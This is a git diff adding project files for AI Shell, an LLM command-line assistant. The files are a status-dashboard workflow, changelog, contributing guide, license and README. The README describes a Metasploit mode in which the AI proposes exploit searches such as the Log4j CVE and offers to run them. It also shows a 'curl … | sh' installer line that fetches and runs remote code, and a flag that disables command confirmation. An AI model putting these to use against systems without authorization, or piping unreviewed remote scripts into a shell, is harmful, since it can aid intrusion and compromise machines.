'🔄', + 'queued': '⏳' + }[status] || '❓'; + + const duration = run.run_started_at && run.updated_at ? + Math.round((new Date(run.updated_at) - new Date(run.run_started_at)) / 1000 / 60) : 'N/A'; + + const lastRun = new Date(run.created_at).toLocaleDateString(); + const branch = run.head_branch; + + statusTable.push(`| ${workflowName} | ${statusEmoji} ${status} | ${lastRun} | ${duration}m | ${branch} |`); + } else { + statusTable.push(`| ${workflowName} | ❓ No runs | N/A | N/A | N/A |`); + } + } catch (error) { + statusTable.push(`| ${workflowName} | ❓ Error | N/A | N/A | N/A |`); + } + } + + statusReport += statusTable.join('\n') + '\n\n'; + + // Add repository stats + statusReport += '## 📊 Repository Statistics\n\n'; + + // Get repository info + const repo = await github.rest.repos.get({ + owner: context.repo.owner, + repo: context.repo.repo + }); + + const issues = await github.rest.issues.listForRepo({ + owner: context.repo.owner, + repo: context.repo.repo, + state: 'open' + }); + + const prs = await github.rest.pulls.list({ + owner: context.repo.owner, + repo: context.repo.repo, + state: 'open' + }); + + statusReport += `- **Stars:** ${repo.data.stargazers_count}\n`; + statusReport += `- **Forks:** ${repo.data.forks_count}\n`; + statusReport += `- **Open Issues:** ${issues.data.length}\n`; + statusReport += `- **Open PRs:** ${prs.data.length}\n`; + statusReport += `- **Last Updated:** ${new Date(repo.data.updated_at).toLocaleDateString()}\n\n`; + + // Add workflow badges + statusReport += '## 🏆 Workflow Badges\n\n'; + const baseUrl = `https://github.com/${context.repo.owner}/${context.repo.repo}`; + + statusReport += `[![CI](${baseUrl}/actions/workflows/ci.yml/badge.svg)](${baseUrl}/actions/workflows/ci.yml) `; + statusReport += `[![Security](${baseUrl}/actions/workflows/security.yml/badge.svg)](${baseUrl}/actions/workflows/security.yml) `; + statusReport += `[![Documentation](${baseUrl}/actions/workflows/documentation.yml/badge.svg)](${baseUrl}/actions/workflows/documentation.yml)\n\n`; + + // Add quick links + statusReport += '## 🔗 Quick Links\n\n'; + statusReport += `- [📋 All Workflows](${baseUrl}/actions)\n`; + statusReport += `- [🐛 Report Issues](${baseUrl}/issues/new/choose)\n`; + statusReport += `- [💡 Discussions](${baseUrl}/discussions)\n`; + statusReport += `- [📖 Documentation](${baseUrl}/blob/main/README.md)\n`; + statusReport += `- [🤝 Contributing](${baseUrl}/blob/main/CONTRIBUTING.md)\n\n`; + + statusReport += '---\n'; + statusReport += '*This dashboard is automatically updated by GitHub Actions.*\n'; + + // Write to file + fs.writeFileSync('WORKFLOW_STATUS.md', statusReport); + + console.log('Generated workflow status report'); + console.log(statusReport); + + - name: Check if status file changed + id: check-changes + run: | + if git diff --quiet WORKFLOW_STATUS.md; then + echo "changed=false" >> $GITHUB_OUTPUT + else + echo "changed=true" >> $GITHUB_OUTPUT + fi + + - name: Commit status report + if: steps.check-changes.outputs.changed == 'true' + run: | + git config --local user.email "action@github.com" + git config --local user.name "GitHub Action" + git add WORKFLOW_STATUS.md + git commit -m "Update workflow status dashboard [skip ci]" || exit 0 + git push + + - name: Create status summary + run: | + echo "## 🚀 Workflow Status Summary" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + cat WORKFLOW_STATUS.md >> $GITHUB_STEP_SUMMARY \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e5abd39 --- /dev/null +++ b/.gitignore @@ -0,0 +1,53 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# Virtual environments +venv/ +env/ +ENV/ +.venv/ +.env/ + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# OS +.DS_Store +Thumbs.db + +# Project specific +training_dataset.jsonl +config.yaml +.api_key +logs/ +*.log + +# Coverage reports +.coverage +coverage.xml +htmlcov/ +.pytest_cache/ \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..0b42667 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,86 @@ +# Changelog + +All notable changes to AI Shell will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [Unreleased] + +### Added +- Comprehensive documentation rewrite +- Enhanced CONTRIBUTING.md with detailed development guidelines +- CHANGELOG.md for tracking version history + +### Changed +- README.md completely restructured for better user experience +- Improved documentation organization and clarity + +### Security +- Documentation of security features and best practices + +## [0.1.0] - Current Release + +### Added +- Multi-modal architecture with three operating modes: + - Command Translator: Direct natural language to command translation + - AI Assistant: Conversational mode with chat history + - Metasploit Assistant: Specialized penetration testing support +- LLM provider support: + - Google Gemini integration + - Local LLM support via Ollama +- Interactive tool integration using pseudoterminal (pty) +- Real-time command output streaming +- Security features: + - Command validation and dangerous command detection + - User confirmation before command execution + - Input sanitization +- Configuration management with YAML support +- Training data collection with feedback loop +- Comprehensive test suite +- Cross-platform installation scripts (Windows/Linux/Mac) + +### Changed +- Evolved from simple translator (v0.0.3) to multi-tool platform +- Enhanced UI with better colors and user experience +- Improved error handling and logging + +### Security +- Built-in command validation system +- Configurable dangerous command lists +- User confirmation requirements + +## [0.0.3] - Legacy Version + +### Added +- Basic command translation functionality +- Simple subprocess-based command execution +- Initial LLM integration + +### Notes +- This version served as the foundation for the current multi-modal architecture +- Deprecated in favor of the enhanced v0.1.0 architecture + +--- + +## Release Guidelines + +### Version Numbers +- **MAJOR**: Breaking changes to API or core functionality +- **MINOR**: New features, backward compatible +- **PATCH**: Bug fixes, backward compatible + +### Release Process +1. Update CHANGELOG.md with new version +2. Update version in setup.py and __init__.py +3. Create git tag with version number +4. Generate release notes from changelog +5. Publish to PyPI (when ready) + +### Categories +- **Added**: New features +- **Changed**: Changes to existing functionality +- **Deprecated**: Features that will be removed +- **Removed**: Features that have been removed +- **Fixed**: Bug fixes +- **Security**: Security-related changes \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..0ac3e77 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,339 @@ +# Contributing to AI Shell + +Thank you for your interest in contributing to AI Shell! This document provides comprehensive guidelines for contributing to the project. + +## 🚀 Getting Started + +### Prerequisites + +- Python 3.8 or higher +- Git +- Basic understanding of command-line tools +- Familiarity with Python and AsyncIO (for advanced contributions) + +### Development Setup + +1. **Fork and Clone** + ```bash + git clone https://github.com/your-username/Ai_shell.git + cd Ai_shell + ``` + +2. **Create Virtual Environment** + ```bash + python3 -m venv venv + source venv/bin/activate # On Windows: venv\Scripts\activate + ``` + +3. **Install Dependencies** + ```bash + pip install -r requirements.txt + pip install pytest black flake8 pytest-cov + ``` + +4. **Install in Development Mode** + ```bash + pip install -e . + ``` + +5. **Verify Installation** + ```bash + python -m pytest + ai-shell --help + ``` + +## 🏗️ Project Architecture + +### Core Components + +``` +ai_shell/ +├── main.py # Application entry point and CLI interface +├── config.py # Configuration management with YAML support +├── llm.py # LLM provider abstractions (Gemini, Ollama) +├── executor.py # Command execution with security validation +└── ui.py # User interface utilities and formatting +``` + +### Key Design Patterns + +- **Provider Pattern**: LLM providers implement a common interface +- **Configuration Management**: Centralized config with environment variable support +- **Security Layer**: Command validation and user confirmation system +- **Async Architecture**: Non-blocking operations for better UX + +## 🔧 Development Workflow + +### Before Making Changes + +1. **Create a Feature Branch** + ```bash + git checkout -b feature/your-feature-name + ``` + +2. **Run Tests** + ```bash + python -m pytest -v + ``` + +3. **Check Code Style** + ```bash + black --check ai_shell/ tests/ + flake8 ai_shell/ tests/ + ``` + +### Making Changes + +1. **Follow Code Style** + - Use Black for formatting + - Follow PEP 8 guidelines + - Add type hints where appropriate + - Write descriptive docstrings + +2. **Write Tests** + - Add unit tests for new functionality + - Maintain high test coverage + - Use descriptive test names + - Include both positive and negative test cases + +3. **Update Documentation** + - Update README.md if needed + - Add docstrings to new functions/classes + - Update configuration examples + +### Testing Guidelines + +```bash +# Run all tests +python -m pytest + +# Run specific test file +python -m pytest tests/test_config.py + +# Run with coverage +python -m pytest --cov=ai_shell --cov-report=html + +# Run tests in verbose mode +python -m pytest -v -s +``` + +### Code Quality + +```bash +# Format code +black ai_shell/ tests/ + +# Check code style +flake8 ai_shell/ tests/ + +# Type checking (optional) +mypy ai_shell/ +``` + +## 📝 Contribution Types + +### 🐛 Bug Fixes + +1. **Report the Bug** + - Use GitHub Issues + - Provide clear reproduction steps + - Include system information + - Add relevant logs or screenshots + +2. **Fix the Bug** + - Write a failing test first + - Implement the minimal fix + - Ensure all tests pass + - Update documentation if needed + +### ✨ New Features + +1. **Propose the Feature** + - Open a GitHub Issue for discussion + - Explain the use case and benefits + - Consider the scope and complexity + +2. **Implement the Feature** + - Follow the existing architecture patterns + - Add comprehensive tests + - Update documentation + - Consider backward compatibility + +### Common Contribution Areas + +#### Adding New LLM Providers + +1. Create a new provider class in `llm.py`: + ```python + class NewLLMProvider(LLMProvider): + def __init__(self, config): + self.config = config + + async def generate_response(self, prompt, system_prompt=""): + # Implementation here + pass + ``` + +2. Register the provider in `get_llm_provider()` +3. Add configuration options +4. Write comprehensive tests + +#### Enhancing Security Features + +1. Add new validation rules in `executor.py` +2. Update the dangerous commands list +3. Add configuration options for new security features +4. Test edge cases thoroughly + +#### Improving User Interface + +1. Add new UI components in `ui.py` +2. Ensure consistent styling with existing components +3. Test across different terminal environments +4. Consider accessibility + +## 🧪 Testing Strategy + +### Test Categories + +1. **Unit Tests**: Individual component testing +2. **Integration Tests**: Component interaction testing +3. **End-to-End Tests**: Full workflow testing +4. **Security Tests**: Validation and safety testing + +### Writing Good Tests + +```python +def test_config_load_from_file(): + """Test that configuration loads correctly from YAML file.""" + # Arrange + config_data = {"llm": {"provider": "gemini"}} + + # Act + config = Config(config_data) + + # Assert + assert config.get("llm.provider") == "gemini" +``` + +### Test Coverage + +- Aim for >90% test coverage +- Focus on critical paths and edge cases +- Mock external dependencies (APIs, file system) +- Test error conditions and recovery + +## 📚 Documentation + +### Code Documentation + +- **Docstrings**: All public functions and classes +- **Type Hints**: Use for better IDE support +- **Comments**: Explain complex logic, not obvious code + +### User Documentation + +- **README.md**: Keep updated with new features +- **Configuration**: Document all config options +- **Examples**: Provide practical usage examples + +## 🎯 Commit Guidelines + +### Commit Message Format + +``` +type(scope): brief description + +Detailed explanation of the change, including: +- Why the change was made +- What was changed +- Any breaking changes or migration notes + +Fixes #123 +``` + +### Commit Types + +- `feat`: New features +- `fix`: Bug fixes +- `docs`: Documentation changes +- `style`: Code style changes (formatting, etc.) +- `refactor`: Code refactoring without feature changes +- `test`: Adding or updating tests +- `chore`: Build process or auxiliary tool changes + +### Examples + +``` +feat(llm): add support for Claude API + +- Implement ClaudeProvider class +- Add configuration options for Claude +- Update provider selection logic +- Add comprehensive tests + +Fixes #456 + +fix(security): prevent command injection in user input + +- Sanitize user input before processing +- Add validation for special characters +- Update security tests +- Document security considerations + +Closes #789 +``` + +## 🚢 Release Process + +### Pull Request Guidelines + +1. **Before Submitting** + - Ensure all tests pass + - Update documentation + - Add changelog entry + - Squash commits if needed + +2. **PR Description** + - Clear title and description + - Link to related issues + - Include screenshots for UI changes + - List breaking changes + +3. **Review Process** + - Address reviewer feedback + - Keep discussions focused + - Be open to suggestions + +### Versioning + +We follow [Semantic Versioning](https://semver.org/): +- `MAJOR.MINOR.PATCH` +- Major: Breaking changes +- Minor: New features, backward compatible +- Patch: Bug fixes, backward compatible + +## 🤝 Community Guidelines + +### Code of Conduct + +- Be respectful and inclusive +- Provide constructive feedback +- Help others learn and grow +- Follow the project's coding standards +- Focus on the problem, not the person + +### Getting Help + +- **GitHub Issues**: Bug reports and feature requests +- **GitHub Discussions**: General questions and ideas +- **Code Review**: Learn from feedback and review others' code + +## 🎉 Recognition + +Contributors are recognized in: +- GitHub contributor graphs +- Release notes for significant contributions +- Special mentions for outstanding contributions + +Thank you for contributing to AI Shell! 🚀 \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..1136394 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Jon-Arve and Diégo + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index ad14fd4..8b76b33 100644 --- a/README.md +++ b/README.md @@ -1,101 +1,329 @@ -AI Shell: Your Command-Line Copilot -AI Shell is an intelligent, multi-modal command-line assistant designed to bridge the gap between natural language and complex shell operations. It leverages the power of Large Language Models (LLMs) to translate your requests into executable commands, assist with conversational guidance, and even integrate with specialized tools like the Metasploit Framework. +# AI Shell 🤖 -Whether you're a beginner learning the ropes or a seasoned expert looking to accelerate your workflow, AI Shell is your ultimate command-line copilot. +
-🚀 Evolution: From Simple Translator to Powerful Assistant -The journey from version 0.0.3 to the current release marks a significant architectural and functional leap. The tool has evolved from a basic single-purpose translator into a sophisticated, multi-tool platform. +**Your Intelligent Command-Line Copilot** -Key Enhancements Since v0.0.3: -Multi-Modal Architecture: The single "translator" mode has been expanded into three distinct operating modes: + +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Python 3.9+](https://img.shields.io/badge/python-3.9+-blue.svg)](https://www.python.org/downloads/) +[![GitHub Release](https://img.shields.io/github/v/release/GizzZmo/Ai_shell?include_prereleases&sort=semver)](https://github.com/GizzZmo/Ai_shell/releases) -Command Translator: The original, direct prompt -> command functionality. + +[![CI](https://github.com/GizzZmo/Ai_shell/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/ci.yml) +[![Security](https://github.com/GizzZmo/Ai_shell/actions/workflows/security.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/security.yml) +[![Documentation](https://github.com/GizzZmo/Ai_shell/actions/workflows/documentation.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/documentation.yml) +[![Performance](https://github.com/GizzZmo/Ai_shell/actions/workflows/performance.yml/badge.svg?branch=main)](https://github.com/GizzZmo/Ai_shell/actions/workflows/performance.yml) -AI Assistant: A conversational, stateful chat mode for general assistance, explanations, and multi-step tasks. + +[![Codecov](https://codecov.io/gh/GizzZmo/Ai_shell/branch/main/graph/badge.svg)](https://codecov.io/gh/GizzZmo/Ai_shell) +[![CodeQL](https://github.com/GizzZmo/Ai_shell/workflows/Security/badge.svg)](https://github.com/GizzZmo/Ai_shell/security/code-scanning) -Metasploit Assistant: A specialized mode that launches msfconsole in an interactive session, with an AI expert ready to guide your penetration testing workflow. + +[![GitHub issues](https://img.shields.io/github/issues/GizzZmo/Ai_shell)](https://github.com/GizzZmo/Ai_shell/issues) +[![GitHub pull requests](https://img.shields.io/github/issues-pr/GizzZmo/Ai_shell)](https://github.com/GizzZmo/Ai_shell/pulls) +[![GitHub stars](https://img.shields.io/github/stars/GizzZmo/Ai_shell?style=social)](https://github.com/GizzZmo/Ai_shell/stargazers) -Interactive Tool Integration: The most significant architectural change is the move from basic subprocess calls to a pseudoterminal (pty). This allows AI Shell to run and interact with stateful, persistent applications like msfconsole, capturing real-time output and maintaining the tool's internal state (e.g., set variables, active modules). +*Transform natural language into powerful shell commands with AI* -Advanced LLM Interaction: +[🚀 Quick Start](#quick-start) • [📖 Documentation](#documentation) • [🤝 Contributing](CONTRIBUTING.md) +[🐛 Issues](https://github.com/GizzZmo/Ai_shell/issues) • [📊 Workflow Status](WORKFLOW_STATUS.md) -Specialized System Prompts: Each mode now uses a unique, carefully crafted system prompt that primes the LLM for the specific context (general shell vs. Metasploit). +
-Conversational Memory: The Assistant and Metasploit modes maintain a chat history, allowing for follow-up questions and context-aware responses. +--- -Enhanced Local LLM Support (Ollama): +## Overview -Setup and model pulling is now automated. +AI Shell is an intelligent, multi-modal command-line assistant that bridges the gap between natural language and complex shell operations. Powered by Large Language Models (LLMs), it translates your requests into executable commands, provides conversational guidance, and integrates with specialized tools like the Metasploit Framework. -The script checks for available memory and provides a menu of well-tested local models. +Whether you're a beginner learning the command line or a seasoned expert looking to accelerate your workflow, AI Shell adapts to your needs. -Data-Driven Improvement: A feedback loop (log_training_pair) has been introduced, allowing users to confirm correct commands or provide corrections. This creates a valuable dataset for future fine-tuning of the AI model. +## ✨ Key Features -Improved User Experience: The command execution now streams output in real-time, providing a much better experience for long-running processes. The UI has been enhanced with more distinct colors and clearer instructions. +- **🔄 Multi-Modal Architecture**: Three distinct operating modes for different use cases +- **🧠 Advanced LLM Integration**: Support for both cloud (Gemini) and local (Ollama) models +- **🔒 Security-First Design**: Built-in command validation and user confirmation +- **💬 Conversational Memory**: Context-aware responses with chat history +- **🛠️ Tool Integration**: Native support for penetration testing workflows +- **📊 Learning Capability**: Feedback loop for continuous improvement -🔥 Core Features & Operating Modes -1. Command Translator Mode -The classic AI Shell experience. Describe what you want to do in plain English, and the AI will provide the exact shell command. +## 🎯 Operating Modes -Input: > find all files larger than 100MB in my home directory +### 1. Command Translator Mode +Transform natural language into precise shell commands. -Output: find ~ -type f -size +100M +```bash +> find all files larger than 100MB in my home directory +→ find ~ -type f -size +100M +``` -2. AI Assistant Mode -A conversational partner for your command-line tasks. Ask for explanations, get help with complex workflows, or have the AI generate commands in a chat-like interface. +### 2. AI Assistant Mode +Conversational partner for complex command-line tasks with explanations and guidance. +``` You: How can I check which processes are using the most memory? +Assistant: On Linux, you can use the 'ps' command combined with 'sort': -Assistant: On Linux, you can use the 'ps' command combined with 'sort'. Here is a command that should work for you: \``bash +```bash ps aux --sort=-%mem | head -n 10 ``` -This command lists all running processes, sorts them by memory usage in descending order, and shows you the top 10.` - -3. Metasploit Assistant Mode -Your personal cybersecurity expert. This mode launches an interactive msfconsole session and provides an AI assistant that is specifically trained to help with penetration testing tasks. -Direct Interaction: Type any msfconsole command directly. +This lists all running processes, sorts them by memory usage in descending order, and shows the top 10. +``` -AI Guidance: Prefix your request with ? to ask the AI for help. +### 3. Metasploit Assistant Mode +Your personal cybersecurity expert with direct msfconsole integration. -Input: ? search for exploits related to the log4j vulnerability +Assistant: You can search for Log4j exploits using the 'search' command: -Assistant: Of course. You can search for Log4j exploits using the 'search' command. Here is a precise command: \``bash +```bash search cve:2021-44228 ``` -Would you like me to run this command for you?` -🛠️ Setup & Usage -Prerequisites -Python 3.8+ +Would you like me to run this command for you? +``` + +## 🚀 Quick Start + +### Prerequisites + +- **Python 3.9+** +- **Metasploit Framework** (optional, for Metasploit mode) +- **Ollama** (optional, for local LLMs) + +### Installation + +#### Option 1: From Source (Recommended) + +```bash +# Clone the repository +git clone https://github.com/GizzZmo/Ai_shell.git +cd Ai_shell + +# Install dependencies +pip install -r requirements.txt + +# Install the package +pip install -e . +``` + +#### Option 2: Using Setup Scripts + +**Linux/Mac:** +```bash +chmod +x install.sh +./install.sh +``` + +**Windows:** +```powershell +Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process +.\install.ps1 +``` + +### Configuration + +1. **Copy the example configuration:** + ```bash + cp config.yaml.example config.yaml + ``` + +2. **Set your API key** (for Gemini): + ```bash + export GEMINI_API_KEY="your_api_key_here" + ``` + +3. **For local LLMs**, install Ollama: + ```bash + # Install Ollama (Linux) + curl -fsSL https://ollama.ai/install.sh | sh + + # Pull a model + ollama pull llama3 + ``` + +### Usage + +```bash +# Interactive mode selection +ai-shell + +# Direct modes +ai-shell --mode translator +ai-shell --mode assistant +ai-shell --mode metasploit +ai-shell --mode wapiti + +# Specify provider +ai-shell --provider local +ai-shell --provider gemini --api-key your_key + +# Use custom config +ai-shell --config myconfig.yaml + + +# Adjust safety and logging +ai-shell --no-confirmation +ai-shell --log-level DEBUG +``` + +For a full CLI reference and mode-by-mode walkthrough, see [docs/USAGE.md](docs/USAGE.md). + +## 📖 Documentation + +Browse focused guides: +- [Usage Guide](docs/USAGE.md) — CLI flags, modes, and provider selection +- [Configuration Guide](docs/CONFIGURATION.md) — config structure, profiles, and templates +- [Architecture Overview](docs/ARCHITECTURE.md) — component and data-flow diagrams +- [Examples & Tutorials](docs/EXAMPLES.md) — practical prompts and scripts +- [Troubleshooting](docs/TROUBLESHOOTING.md) — common fixes and debugging tips -Metasploit Framework: Required only for the Metasploit Assistant mode. Ensure msfconsole is in your system's PATH. +## 🔧 Development + +### Project Structure + +``` +ai_shell/ +├── ai_shell/ # Main package +│ ├── main.py # Application entry point +│ ├── config.py # Configuration management +│ ├── llm.py # LLM integration +│ ├── executor.py # Command execution and security +│ └── ui.py # User interface utilities +├── tests/ # Test suite +├── docs/ # Documentation guides +├── setup.py # Package setup +└── requirements.txt # Dependencies +``` + +### Testing + +```bash +# Install development dependencies +pip install pytest pytest-cov black flake8 + +# Run all tests +python -m pytest + +# Run with coverage +python -m pytest --cov=ai_shell +``` + +### Code Style + +```bash +# Format code +black ai_shell/ tests/ + +# Check style +flake8 ai_shell/ tests/ +``` + +## 🔒 Security + +- **API Keys**: Store securely using environment variables +- **Command Review**: Always review before execution +- **Local LLMs**: Consider for sensitive environments +- **Network Security**: Be cautious with cloud providers + +## 🔄 CI/CD & Workflow System + +AI Shell uses a comprehensive GitHub Actions workflow system to ensure code quality, security, and reliability: + +### 🛠️ Automated Workflows + +#### **Continuous Integration (CI)** +- ✅ **Multi-OS Testing**: Tests run on Ubuntu, Windows, and macOS +- ✅ **Python Versions**: Supports Python 3.9, 3.10, 3.11, and 3.12 +- ✅ **Code Quality**: Automated linting with flake8 and formatting checks with black +- ✅ **Test Coverage**: pytest with coverage reporting to Codecov +- ✅ **Package Installation**: Validates the package can be installed and used + +#### **Security Scanning** +- 🔒 **CodeQL Analysis**: Advanced code security scanning with extended queries +- 🔒 **Dependency Scanning**: Automated vulnerability checks using Safety +- 🔒 **Secrets Detection**: Trivy scans for exposed secrets in the codebase +- 🔒 **License Compliance**: Verifies all dependencies use compatible licenses +- 🔒 **Scheduled Scans**: Daily security checks to catch new vulnerabilities + +#### **Documentation** +- 📖 **Markdown Validation**: Ensures all documentation is syntactically correct +- 📖 **Link Checking**: Validates internal and external links +- 📖 **Code Example Testing**: Verifies Python code examples in documentation +- 📖 **Automated Deployment**: Builds and deploys docs to GitHub Pages with MkDocs +- 📖 **Material Theme**: Beautiful, searchable documentation site + +#### **Performance Monitoring** +- ⚡ **Benchmark Tests**: Measures performance of core components +- ⚡ **Memory Profiling**: Tracks memory usage and detects leaks +- ⚡ **Response Time Monitoring**: Ensures operations meet performance targets +- ⚡ **Weekly Runs**: Regular performance regression testing + +#### **Release Automation** +- 🚀 **Automated Releases**: Tag-based releases to GitHub and PyPI +- 🚀 **Changelog Generation**: Automatic changelog from git commits +- 🚀 **Package Building**: Builds and validates distribution packages +- 🚀 **Pre-release Support**: Handles alpha, beta, and RC releases + +#### **Smart Automation** +- 🏷️ **Auto-labeling**: Automatically labels issues and PRs based on content +- 🏷️ **Size Detection**: Labels PRs by change size (XS, S, M, L, XL) +- 🏷️ **Component Detection**: Labels based on changed files and components +- 📊 **Status Dashboard**: Daily workflow status reports and repository statistics + +### 📊 Workflow Status + +Check our [Workflow Status Dashboard](WORKFLOW_STATUS.md) for real-time status of all workflows, or view the [Actions tab](https://github.com/GizzZmo/Ai_shell/actions) for detailed run history. + +### 🔧 Running Workflows Locally + +You can run tests and checks locally before pushing: + +```bash +# Run tests +python -m pytest tests/ -v --cov=ai_shell + +# Check code style +flake8 ai_shell/ tests/ +black --check ai_shell/ tests/ + +# Run security checks +pip install safety +safety check + +# Run performance benchmarks +python -m pytest tests/benchmarks/ --benchmark-only +``` -Ollama (Optional): Required for running local LLMs. +## 🤝 Contributing -Installation -Clone the repository: +We welcome contributions! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines. -git clone -cd ai-shell +### Quick Steps -Install Python dependencies: +1. Fork the repository +2. Create a feature branch +3. Make your changes with tests +4. Submit a pull request -pip install -r requirements.txt -# Or manually: pip install google-generativeai requests +## 📄 License -Configuration -LLM Provider: On startup, you will be prompted to choose between Gemini (cloud) or a Local LLM (Ollama). +This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. -API Key (for Gemini): If you choose Gemini, you will be prompted for your API key. You can also set it as an environment variable to avoid entering it each time: +## 🙏 Acknowledgments -export API_KEY="your_gemini_api_key_here" +- **Google Gemini** for powerful language model capabilities +- **Ollama** community for local LLM support +- **Metasploit Framework** for penetration testing integration -Local Model (for Ollama): If you choose a local LLM, the script will guide you through selecting a model and will automatically pull it if it's not already installed. +## 📞 Support -Running the Application -Simply execute the Python script: +- **Issues**: [GitHub Issues](https://github.com/GizzZmo/Ai_shell/issues) +- **Discussions**: [GitHub Discussions](https://github.com/GizzZmo/Ai_shell/discussions) -python ai_shell_metasploit.py +--- -Follow the on-screen prompts to select your desired operating mode and LLM provider. +**⚠️ Disclaimer**: AI Shell executes system commands. Always review commands before execution and use appropriate security measures. The developers are not responsible for any damage caused by misuse of this tool. +```bash +You: ? search for exploits related to the log4j vulnerability diff --git a/WORKFLOW_STATUS.md b/WORKFLOW_STATUS.md new file mode 100644 index 0000000..08b50f6 --- /dev/null +++ b/WORKFLOW_STATUS.md @@ -0,0 +1,118 @@ +# 🚀 AI Shell - Workflow Status Dashboard + +*This dashboard is automatically updated by GitHub Actions* + +## 📋 Workflow Status + +| Workflow | Status | Description | +|----------|--------|-------------| +| **CI** | [![CI](https://github.com/GizzZmo/Ai_shell/actions/workflows/ci.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/ci.yml) | Continuous integration with multi-OS and multi-Python version testing | +| **Security** | [![Security](https://github.com/GizzZmo/Ai_shell/actions/workflows/security.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/security.yml) | CodeQL analysis, dependency scanning, and secrets detection | +| **Documentation** | [![Documentation](https://github.com/GizzZmo/Ai_shell/actions/workflows/documentation.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/documentation.yml) | Documentation validation and GitHub Pages deployment | +| **Performance** | [![Performance](https://github.com/GizzZmo/Ai_shell/actions/workflows/performance.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/performance.yml) | Benchmark tests and performance monitoring | +| **Release** | [![Release](https://github.com/GizzZmo/Ai_shell/actions/workflows/release.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/release.yml) | Automated releases to GitHub and PyPI | +| **Auto Label** | [![Auto Label](https://github.com/GizzZmo/Ai_shell/actions/workflows/auto-label.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions/workflows/auto-label.yml) | Automatic issue and PR labeling | +| **Workflow Status** | [![Workflow Status](https://github.com/GizzZmo/Ai_shell/actions/workflows/status.yml/badge.svg)](https://github.com/GizzZmo/Ai_shell/actions) | Generates this status dashboard | + +## 📊 Repository Health + +### Code Quality +- **Test Coverage**: [![Codecov](https://codecov.io/gh/GizzZmo/Ai_shell/branch/main/graph/badge.svg)](https://codecov.io/gh/GizzZmo/Ai_shell) +- **Code Security**: [![CodeQL](https://github.com/GizzZmo/Ai_shell/workflows/Security/badge.svg)](https://github.com/GizzZmo/Ai_shell/security/code-scanning) +- **License**: [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) + +### Build Status by Platform +- **Ubuntu**: Tests run on latest Ubuntu with Python 3.9-3.12 +- **Windows**: Tests run on latest Windows with Python 3.11-3.12 +- **macOS**: Tests run on latest macOS with Python 3.11-3.12 + +## 🔄 Workflow Triggers + +### Continuous Integration (CI) +- **Push**: Runs on push to `main` or `master` branches +- **Pull Request**: Runs on all PRs to `main` or `master` +- **Manual**: Can be triggered manually via workflow_dispatch + +### Security +- **Push**: Runs on push to `main` or `master` branches +- **Pull Request**: Runs on all PRs to `main` or `master` +- **Schedule**: Daily at 6 AM UTC +- **Manual**: Can be triggered manually via workflow_dispatch + +### Documentation +- **Push**: Runs when documentation files are modified +- **Pull Request**: Validates docs in PRs +- **Manual**: Can be triggered manually via workflow_dispatch + +### Performance +- **Push**: Runs on push to `main` or `master` branches +- **Pull Request**: Runs on all PRs to `main` or `master` +- **Schedule**: Weekly on Mondays at 2 AM UTC +- **Manual**: Can be triggered manually via workflow_dispatch + +### Release +- **Tag**: Runs automatically when a version tag is pushed (e.g., `v1.0.0`) +- **Manual**: Can be triggered manually with custom version input + +### Auto Label +- **Issues**: Automatically labels new issues based on content +- **Pull Requests**: Automatically labels PRs based on changed files + +### Workflow Status +- **Workflow Completion**: Updates after any workflow completes +- **Schedule**: Daily status report at 8 AM UTC +- **Manual**: Can be triggered manually via workflow_dispatch + +## 🔗 Quick Links + +- [📋 All Workflows](https://github.com/GizzZmo/Ai_shell/actions) +- [🐛 Report 